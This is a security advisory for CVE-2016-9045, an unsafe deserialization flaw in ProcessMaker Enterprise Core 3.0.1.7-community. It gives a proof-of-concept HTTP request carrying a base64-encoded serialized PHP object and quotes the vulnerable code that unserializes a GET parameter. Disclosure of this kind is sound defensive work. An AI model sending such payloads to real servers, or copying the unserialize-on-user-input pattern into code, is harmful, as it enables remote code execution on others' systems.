ProcessMaker Enterprise Core Code Execution Vulnerability(CVE-2016-9045)

Summary

A code execution vulnerability exists in ProcessMarker Enterprise Core 3.0.1.7-community. A specially crafted web request can cause unsafe deserialization potentially resulting in PHP code being executed. An attacker can send a crafted web parameter to trigger this vulnerability.

Tested Versions

ProcessMaker Enterprise Core 3.0.1.7-community

Product URLs

https://www.processmaker.com/community-2

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-502 - Deserialization of Untrusted Data

Details

It was discovered that the application deserialized untrusted data without properly limiting or validating the incoming data type.
The following Proof Of Concept request demonstrate the issue:

GET /sysworkflow/en/neoclassic/login/sysLoginVerify.php?    
d=TzoxNToiTXlTUUxDb25uZWN0aW9uIjoyOntzOjY6IgAqAGRzbiI7TjtzOjg6IgAqAGZsYWdzIjtpOjA7fQ== 
HTTP/1.1
Host: 192.168.56.101
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.56.101/sysworkflow/en/neoclassic/login/login?
u=%2Fsysworkflow%2Fen%2Fneoclassic%2Fadmin%2FpmLogo
Connection: close

The following code was found to be responsible for unsafe deserialization:

26 if (array_key_exists("d", $_GET)) {
27     $_POST = unserialize(base64_decode($_GET["d"]));
28  
29 }
30
31 if (! isset ($_POST)) {
32     G::header('location: /sys/' . $lang . '/' . SYS_SKIN . '/' . 'login/login');
33 }
34 if (isset($_SESSION['sysLogin'])) {
35     $_POST['form'] = $_SESSION['sysLogin'];
36 }
37
38 require_once 'authentication.php';
39

Mitigation

Restrict access to known, trusted users and hosts.

Timeline

• 2016-04-28 - Vendor Disclosure
• 2017-07-19 - Public Release

CREDIT

• Discovered by Jerzy Kramarz of Portcullis Computer Security Limited.